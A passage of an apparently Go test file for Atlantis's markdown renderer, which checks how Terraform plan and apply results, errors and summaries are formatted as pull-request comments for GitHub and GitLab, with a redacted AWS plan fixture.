* :arrow_forward: To **apply** this plan, comment: $$$shell staging-apply-cmd $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](staging-lock-url) * :repeat: To **plan** this project again, comment: $$$shell staging-replan-cmd $$$ Plan: 1 to add, 0 to change, 0 to destroy. --- ### 2. dir: $.$ workspace: $production$
Show Output $$$diff ` + tfOut + ` $$$
* :arrow_forward: To **apply** this plan, comment: $$$shell production-apply-cmd $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](production-lock-url) * :repeat: To **plan** this project again, comment: $$$shell production-replan-cmd $$$ Plan: 1 to add, 0 to change, 0 to destroy. --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ ` Equals(t, normalize(exp), normalize(rendered)) } // Test rendering when there was an error in one of the plans and we deleted // all the plans as a result. func TestRenderProjectResults_PlansDeleted(t *testing.T) { cases := map[string]struct { res command.Result exp string }{ "one failure": { res: command.Result{ ProjectResults: []command.ProjectResult{ { RepoRelDir: ".", Workspace: "staging", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, }, PlansDeleted: true, }, exp: ` Ran Plan for dir: $.$ workspace: $staging$ **Plan Failed**: failure `, }, "two failures": { res: command.Result{ ProjectResults: []command.ProjectResult{ { RepoRelDir: ".", Workspace: "staging", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, { RepoRelDir: ".", Workspace: "production", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, }, PlansDeleted: true, }, exp: ` Ran Plan for 2 projects: 1. dir: $.$ workspace: $staging$ 1. dir: $.$ workspace: $production$ --- ### 1. dir: $.$ workspace: $staging$ **Plan Failed**: failure --- ### 2. dir: $.$ workspace: $production$ **Plan Failed**: failure --- ### Plan Summary 2 projects, 0 with changes, 0 with no changes, 2 failed `, }, "one failure, one success": { res: command.Result{ ProjectResults: []command.ProjectResult{ { RepoRelDir: ".", Workspace: "staging", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, { RepoRelDir: ".", Workspace: "production", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "tf out", LockURL: "lock-url", RePlanCmd: "re-plan cmd", ApplyCmd: "apply cmd", }, }, }, }, PlansDeleted: true, }, exp: ` Ran Plan for 2 projects: 1. dir: $.$ workspace: $staging$ 1. dir: $.$ workspace: $production$ --- ### 1. dir: $.$ workspace: $staging$ **Plan Failed**: failure --- ### 2. dir: $.$ workspace: $production$ $$$diff tf out $$$ This plan was not saved because one or more projects failed and automerge requires all plans pass. --- ### Plan Summary 2 projects, 1 with changes, 0 with no changes, 1 failed `, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { mr := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark false, // disableApplyAll false, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: models.Github, }, }, }, } cmd := &events.CommentCommand{ Name: command.Plan, Verbose: false, } rendered := mr.Render(ctx, c.res, cmd) Equals(t, normalize(c.exp), normalize(rendered)) }) } } // test that id repo locking is disabled the link to unlock the project is not rendered func TestRenderProjectResultsWithRepoLockingDisabled(t *testing.T) { cases := []struct { Description string Command command.Name ProjectResults []command.ProjectResult VCSHost models.VCSHostType Expected string }{ { "no projects", command.Plan, []command.ProjectResult{}, models.Github, "Ran Plan for 0 projects:\n\n", }, { "single successful plan", command.Plan, []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", }, }, Workspace: "workspace", RepoRelDir: "path", }, }, models.Github, ` Ran Plan for dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "single successful plan with main ahead", command.Plan, []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", MergedAgain: true, }, }, Workspace: "workspace", RepoRelDir: "path", }, }, models.Github, ` Ran Plan for dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ :twisted_rightwards_arrows: Upstream was modified, a new merge was performed. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "single successful plan with project name", command.Plan, []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", }, }, Workspace: "workspace", RepoRelDir: "path", ProjectName: "projectname", }, }, models.Github, ` Ran Plan for project: $projectname$ dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "single successful apply", command.Apply, []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success", }, Workspace: "workspace", RepoRelDir: "path", }, }, models.Github, ` Ran Apply for dir: $path$ workspace: $workspace$ $$$diff success $$$ `, }, { "single successful apply with project name", command.Apply, []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success", }, Workspace: "workspace", RepoRelDir: "path", ProjectName: "projectname", }, }, models.Github, ` Ran Apply for project: $projectname$ dir: $path$ workspace: $workspace$ $$$diff success $$$ `, }, { "multiple successful plans", command.Plan, []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output2", LockURL: "lock-url2", ApplyCmd: "atlantis apply -d path2 -w workspace", RePlanCmd: "atlantis plan -d path2 -w workspace", }, }, }, }, models.Github, ` Ran Plan for 2 projects: 1. dir: $path$ workspace: $workspace$ 1. project: $projectname$ dir: $path2$ workspace: $workspace$ --- ### 1. dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ --- ### 2. project: $projectname$ dir: $path2$ workspace: $workspace$ $$$diff terraform-output2 $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path2 -w workspace $$$ * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path2 -w workspace $$$ --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "multiple successful applies", command.Apply, []command.ProjectResult{ { RepoRelDir: "path", Workspace: "workspace", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success", }, }, { RepoRelDir: "path2", Workspace: "workspace", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success2", }, }, }, models.Github, ` Ran Apply for 2 projects: 1. project: $projectname$ dir: $path$ workspace: $workspace$ 1. dir: $path2$ workspace: $workspace$ --- ### 1. project: $projectname$ dir: $path$ workspace: $workspace$ $$$diff success $$$ --- ### 2. dir: $path2$ workspace: $workspace$ $$$diff success2 $$$ --- ### Apply Summary 2 projects, 2 successful, 0 failed, 0 errored `, }, { "single errored plan", command.Plan, []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("error"), }, RepoRelDir: "path", Workspace: "workspace", }, }, models.Github, ` Ran Plan for dir: $path$ workspace: $workspace$ **Plan Error** $$$ error $$$ `, }, { "single failed plan", command.Plan, []command.ProjectResult{ { RepoRelDir: "path", Workspace: "workspace", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, }, models.Github, ` Ran Plan for dir: $path$ workspace: $workspace$ **Plan Failed**: failure `, }, { "successful, failed, and errored plan", command.Plan, []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, { Workspace: "workspace", RepoRelDir: "path3", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("error"), }, }, }, models.Github, ` Ran Plan for 3 projects: 1. dir: $path$ workspace: $workspace$ 1. dir: $path2$ workspace: $workspace$ 1. project: $projectname$ dir: $path3$ workspace: $workspace$ --- ### 1. dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ --- ### 2. dir: $path2$ workspace: $workspace$ **Plan Failed**: failure --- ### 3. project: $projectname$ dir: $path3$ workspace: $workspace$ **Plan Error** $$$ error $$$ --- ### Plan Summary 3 projects, 1 with changes, 0 with no changes, 2 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "successful, failed, and errored apply", command.Apply, []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success", }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, { Workspace: "workspace", RepoRelDir: "path3", ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("error"), }, }, }, models.Github, ` Ran Apply for 3 projects: 1. dir: $path$ workspace: $workspace$ 1. dir: $path2$ workspace: $workspace$ 1. dir: $path3$ workspace: $workspace$ --- ### 1. dir: $path$ workspace: $workspace$ $$$diff success $$$ --- ### 2. dir: $path2$ workspace: $workspace$ **Apply Failed**: failure --- ### 3. dir: $path3$ workspace: $workspace$ **Apply Error** $$$ error $$$ --- ### Apply Summary 3 projects, 1 successful, 1 failed, 1 errored `, }, { "successful, failed, and errored apply", command.Apply, []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success", }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, { Workspace: "workspace", RepoRelDir: "path3", ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("error"), }, }, }, models.Github, ` Ran Apply for 3 projects: 1. dir: $path$ workspace: $workspace$ 1. dir: $path2$ workspace: $workspace$ 1. dir: $path3$ workspace: $workspace$ --- ### 1. dir: $path$ workspace: $workspace$ $$$diff success $$$ --- ### 2. dir: $path2$ workspace: $workspace$ **Apply Failed**: failure --- ### 3. dir: $path3$ workspace: $workspace$ **Apply Error** $$$ error $$$ --- ### Apply Summary 3 projects, 1 successful, 1 failed, 1 errored `, }, } r := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark false, // disableApplyAll false, // disableApply false, // disableMarkdownFolding true, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: models.Github, }, }, }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { res := command.Result{ ProjectResults: c.ProjectResults, } for _, verbose := range []bool{true, false} { t.Run(c.Description, func(t *testing.T) { cmd := &events.CommentCommand{ Name: c.Command, Verbose: verbose, } s := r.Render(ctx, res, cmd) if !verbose { Equals(t, normalize(c.Expected), normalize(s)) } else { log := fmt.Sprintf("[INFO] %s", logText) Equals(t, normalize(c.Expected+ fmt.Sprintf("
Log\n

\n\n```\n%s\n```\n

", log)), normalize(s)) } }) } }) } } func TestRenderProjectResultsWithGitLab(t *testing.T) { cases := []struct { Description string Command command.Name ProjectResults []command.ProjectResult VCSHost models.VCSHostType Expected string }{ { "multiple successful plans", command.Plan, []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output2", LockURL: "lock-url2", ApplyCmd: "atlantis apply -d path2 -w workspace", RePlanCmd: "atlantis plan -d path2 -w workspace", }, }, }, }, models.Gitlab, ` Ran Plan for 2 projects: 1. dir: $path$ workspace: $workspace$ 1. project: $projectname$ dir: $path2$ workspace: $workspace$ --- ### 1. dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ --- ### 2. project: $projectname$ dir: $path2$ workspace: $workspace$ $$$diff terraform-output2 $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path2 -w workspace $$$ * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path2 -w workspace $$$ --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Merge Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Merge Request, comment: $$$shell atlantis unlock $$$ `, }, } r := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark false, // disableApplyAll false, // disableApply false, // disableMarkdownFolding true, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) for _, c := range cases { t.Run(c.Description, func(t *testing.T) { ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: c.VCSHost, }, }, }, } res := command.Result{ ProjectResults: c.ProjectResults, } for _, verbose := range []bool{true, false} { t.Run(c.Description, func(t *testing.T) { cmd := &events.CommentCommand{ Name: c.Command, Verbose: verbose, } s := r.Render(ctx, res, cmd) if !verbose { Equals(t, normalize(c.Expected), normalize(s)) } else { log := fmt.Sprintf("[INFO] %s", logText) Equals(t, normalize(c.Expected)+ fmt.Sprintf("\n
Log\n

\n\n```\n%s\n```\n

", log), normalize(s)) } }) } }) } } const tfOutput = ` An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: ~ update in-place -/+ destroy and then create replacement Terraform will perform the following actions: # module.redacted.aws_instance.redacted must be replaced -/+ resource "aws_instance" "redacted" { ~ ami = "ami-redacted" -> "ami-redacted" # forces replacement ~ arn = "arn:aws:ec2:us-east-1:redacted:instance/i-redacted" -> (known after apply) ~ associate_public_ip_address = false -> (known after apply) availability_zone = "us-east-1b" ~ cpu_core_count = 4 -> (known after apply) ~ cpu_threads_per_core = 2 -> (known after apply) - disable_api_termination = false -> null - ebs_optimized = false -> null get_password_data = false - hibernation = false -> null + host_id = (known after apply) iam_instance_profile = "remote_redacted_profile" ~ id = "i-redacted" -> (known after apply) ~ instance_state = "running" -> (known after apply) instance_type = "c5.2xlarge" ~ ipv6_address_count = 0 -> (known after apply) ~ ipv6_addresses = [] -> (known after apply) key_name = "RedactedRedactedRedacted" - monitoring = false -> null + outpost_arn = (known after apply) + password_data = (known after apply) + placement_group = (known after apply) ~ primary_network_interface_id = "eni-redacted" -> (known after apply) ~ private_dns = "ip-redacted.ec2.internal" -> (known after apply) ~ private_ip = "redacted" -> (known after apply) + public_dns = (known after apply) + public_ip = (known after apply) ~ secondary_private_ips = [] -> (known after apply) ~ security_groups = [] -> (known after apply) source_dest_check = true subnet_id = "subnet-redacted" tags = { "Name" = "redacted-redacted" } ~ tenancy = "default" -> (known after apply) user_data = "redacted" ~ volume_tags = {} -> (known after apply) vpc_security_group_ids = [ "sg-redactedsecuritygroup", ] + ebs_block_device { + delete_on_termination = (known after apply) + device_name = (known after apply) + encrypted = (known after apply) + iops = (known after apply) + kms_key_id = (known after apply) + snapshot_id = (known after apply) + volume_id = (known after apply) + volume_size = (known after apply) + volume_type = (known after apply) } + ephemeral_block_device { + device_name = (known after apply) + no_device = (known after apply) + virtual_name = (known after apply) } ~ metadata_options { ~ http_endpoint = "enabled" -> (known after apply) ~ http_put_response_hop_limit = 1 -> (known after apply) ~ http_tokens = "optional" -> (known after apply) } + network_interface { + delete_on_termination = (known after apply) + device_index = (known after apply) + network_interface_id = (known after apply) } ~ root_block_device { ~ delete_on_termination = true -> (known after apply) ~ device_name = "/dev/sda1" -> (known after apply) ~ encrypted = false -> (known after apply) ~ iops = 600 -> (known after apply) + kms_key_id = (known after apply) ~ volume_id = "vol-redacted" -> (known after apply) ~ volume_size = 200 -> (known after apply) ~ volume_type = "gp2" -> (known after apply) } } # module.redacted.aws_route53_record.redacted_record will be updated in-place ~ resource "aws_route53_record" "redacted_record" { fqdn = "redacted.redacted.redacted.io" id = "redacted_redacted.redacted.redacted.io_A" name = "redacted.redacted.redacted.io" ~ records = [ "foo", - "redacted", ] -> (known after apply) ttl = 300 type = "A" zone_id = "redacted" } # module.redacted.aws_route53_record.redacted_record_2 will be created + resource "aws_route53_record" "redacted_record" { + fqdn = "redacted.redacted.redacted.io" + id = "redacted_redacted.redacted.redacted.io_A" + name = "redacted.redacted.redacted.io" + records = [ "foo", ] + ttl = 300 + type = "A" + zone_id = "redacted" } # helm_release.external_dns[0] will be updated in-place ~ resource "helm_release" "external_dns" { id = "external-dns" name = "external-dns" ~ values = [ - <<-EOT image: tag: "0.12.0" pullSecrets: - XXXXX domainFilters: ["xxxxx","xxxxx"] base64: +dGhpcyBpcyBzb21lIHN0cmluZyBvciBzb21ldGhpbmcKCg== EOT, + <<-EOT image: tag: "0.12.0" pullSecrets: - XXXXX domainFilters: ["xxxxx","xxxxx"] base64: +dGhpcyBpcyBzb21lIHN0cmluZyBvciBzb21ldGhpbmcKCg== EOT, ] } # aws_api_gateway_rest_api.rest_api will be updated in-place ~ resource "aws_api_gateway_rest_api" "rest_api" { ~ body = <<-EOT openapi: 3.0.0 security: - SomeAuth: [] paths: /someEndpoint: get: - operationId: someOperation + operationId: someOperation2 responses: 204: description: Empty response. components: schemas: SomeEnum: type: string enum: - value1 - value2 securitySchemes: SomeAuth: type: apiKey in: header name: Authorization EOT id = "4i5suz5c4l" name = "test" tags = {} # (9 unchanged attributes hidden) # (1 unchanged block hidden) } Plan: 1 to add, 2 to change, 1 to destroy. ` var cases = []struct { Description string Command command.Name ProjectResults []command.ProjectResult VCSHost models.VCSHostType Expected string }{ { "single successful plan with diff markdown formatted", command.Plan, []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: tfOutput, LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", }, }, Workspace: "workspace", RepoRelDir: "path", }, }, models.Github, ` Ran Plan for dir: $path$ workspace: $workspace$
Show Output $$$diff An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: ! update in-place -/+ destroy and then create replacement Terraform will perform the following actions: # module.redacted.aws_instance.redacted must be replaced -/+ resource "aws_instance" "redacted" { ! ami = "ami-redacted" -> "ami-redacted" # forces replacement ! arn = "arn:aws:ec2:us-east-1:redacted:instance/i-redacted" -> (known after apply) ! associate_public_ip_address = false -> (known after apply) availability_zone = "us-east-1b" ! cpu_core_count = 4 -> (known after apply) ! cpu_threads_per_core = 2 -> (known after apply) - disable_api_termination = false -> null - ebs_optimized = false -> null get_password_data = false - hibernation = false -> null + host_id = (known after apply) iam_instance_profile = "remote_redacted_profile" ! id = "i-redacted" -> (known after apply) ! instance_state = "running" -> (known after apply) instance_type = "c5.2xlarge" ! ipv6_address_count = 0 -> (known after apply) ! ipv6_addresses = [] -> (known after apply) key_name = "RedactedRedactedRedacted" - monitoring = false -> null + outpost_arn = (known after apply) + password_data = (known after apply) + placement_group = (known after apply) ! primary_network_interface_id = "eni-redacted" -> (known after apply) ! private_dns = "ip-redacted.ec2.internal" -> (known after apply) ! private_ip = "redacted" -> (known after apply) + public_dns = (known after apply) + public_ip = (known after apply) ! secondary_private_ips = [] -> (known after apply) ! security_groups = [] -> (known after apply) source_dest_check = true subnet_id = "subnet-redacted" tags = { "Name" = "redacted-redacted" } ! tenancy = "default" -> (known after apply) user_data = "redacted" ! volume_tags = {} -> (known after apply) vpc_security_group_ids = [ "sg-redactedsecuritygroup", ] + ebs_block_device { + delete_on_termination = (known after apply) + device_name = (known after apply) + encrypted = (known after apply) + iops = (known after apply) + kms_key_id = (known after apply) + snapshot_id = (known after apply) + volume_id = (known after apply) + volume_size = (known after apply) + volume_type = (known after apply) } + ephemeral_block_device { + device_name = (known after apply) + no_device = (known after apply) + virtual_name = (known after apply) } ! metadata_options { ! http_endpoint = "enabled" -> (known after apply) ! http_put_response_hop_limit = 1 -> (known after apply) ! http_tokens = "optional" -> (known after apply) } + network_interface { + delete_on_termination = (known after apply) + device_index = (known after apply) + network_interface_id = (known after apply) } ! root_block_device { ! delete_on_termination = true -> (known after apply) ! device_name = "/dev/sda1" -> (known after apply) ! encrypted = false -> (known after apply) ! iops = 600 -> (known after apply) + kms_key_id = (known after apply) ! volume_id = "vol-redacted" -> (known after apply) ! volume_size = 200 -> (known after apply) ! volume_type = "gp2" -> (known after apply) } } # module.redacted.aws_route53_record.redacted_record will be updated in-place ! resource "aws_route53_record" "redacted_record" { fqdn = "redacted.redacted.redacted.io" id = "redacted_redacted.redacted.redacted.io_A" name = "redacted.redacted.redacted.io" ! records = [ "foo", - "redacted", ] -> (known after apply) ttl = 300 type = "A" zone_id = "redacted" } # module.redacted.aws_route53_record.redacted_record_2 will be created + resource "aws_route53_record" "redacted_record" { + fqdn = "redacted.redacted.redacted.io" + id = "redacted_redacted.redacted.redacted.io_A" + name = "redacted.redacted.redacted.io" + records = [ "foo", ] + ttl = 300 + type = "A" + zone_id = "redacted" } # helm_release.external_dns[0] will be updated in-place ! resource "helm_release" "external_dns" { id = "external-dns" name = "external-dns" ! values = [ - <<-EOT image: tag: "0.12.0" pullSecrets: - XXXXX domainFilters: ["xxxxx","xxxxx"] base64: +dGhpcyBpcyBzb21lIHN0cmluZyBvciBzb21ldGhpbmcKCg== EOT, + <<-EOT image: tag: "0.12.0" pullSecrets: - XXXXX domainFilters: ["xxxxx","xxxxx"] base64: +dGhpcyBpcyBzb21lIHN0cmluZyBvciBzb21ldGhpbmcKCg== EOT, ] } # aws_api_gateway_rest_api.rest_api will be updated in-place ! resource "aws_api_gateway_rest_api" "rest_api" { ! body = <<-EOT openapi: 3.0.0 security: - SomeAuth: [] paths: /someEndpoint: get: - operationId: someOperation + operationId: someOperation2 responses: 204: description: Empty response. components: schemas: SomeEnum: type: string enum: - value1 - value2 securitySchemes: SomeAuth: type: apiKey in: header name: Authorization EOT id = "4i5suz5c4l" name = "test" tags = {} # (9 unchanged attributes hidden) # (1 unchanged block hidden) } Plan: 1 to add, 2 to change, 1 to destroy. $$$
* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ Plan: 1 to add, 2 to change, 1 to destroy. `, }, } func TestRenderProjectResultsWithEnableDiffMarkdownFormat(t *testing.T) { r := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark true, // disableApplyAll true, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking true, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) for _, c := range cases { t.Run(c.Description, func(t *testing.T) { ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: models.Github, }, }, }, } res := command.Result{ ProjectResults: c.ProjectResults, } for _, verbose := range []bool{true, false} { t.Run(c.Description, func(t *testing.T) { cmd := &events.CommentCommand{ Name: c.Command, Verbose: verbose, } s := r.Render(ctx, res, cmd) if !verbose { Equals(t, normalize(c.Expected), normalize(s)) } else { log := fmt.Sprintf("[INFO] %s", logText) Equals(t, normalize(c.Expected)+ fmt.Sprintf("\n
Log\n

\n\n```\n%s\n```\n

", log), normalize(s)) } }) } }) } } var Render string func BenchmarkRenderProjectResultsWithEnableDiffMarkdownFormat(b *testing.B) { var render string r := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark true, // disableApplyAll true, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking true, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(b).WithHistory() logText := "log" logger.Info(logText) for _, c := range cases { b.Run(c.Description, func(b *testing.B) { ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: c.VCSHost, }, }, }, } res := command.Result{ ProjectResults: c.ProjectResults, } for _, verbose := range []bool{true, false} { b.Run(fmt.Sprintf("verbose %t", verbose), func(b *testing.B) { cmd := &events.CommentCommand{ Name: c.Command, Verbose: verbose, } b.ReportAllocs() for i := 0; i < b.N; i++ { render = r.Render(ctx, res, cmd) } Render = render }) } }) } } func TestRenderProjectResultsHideUnchangedPlans(t *testing.T) { cases := []struct { Description string Command command.Name SubCommand string ProjectResults []command.ProjectResult VCSHost models.VCSHostType Expected string }{ { "multiple successful plans, hide unchanged plans", command.Plan, "", []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "No changes. Infrastructure is up-to-date.", LockURL: "lock-url2", ApplyCmd: "atlantis apply -d path2 -w workspace", RePlanCmd: "atlantis plan -d path2 -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path3", ProjectName: "projectname2", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output3", LockURL: "lock-url3", ApplyCmd: "atlantis apply -d path3 -w workspace", RePlanCmd: "atlantis plan -d path3 -w workspace", }, }, }, }, models.Github, ` Ran Plan for 3 projects: 1. dir: $path$ workspace: $workspace$ 1. project: $projectname$ dir: $path2$ workspace: $workspace$ 1. project: $projectname2$ dir: $path3$ workspace: $workspace$ --- ### 1. dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ --- ### 3. project: 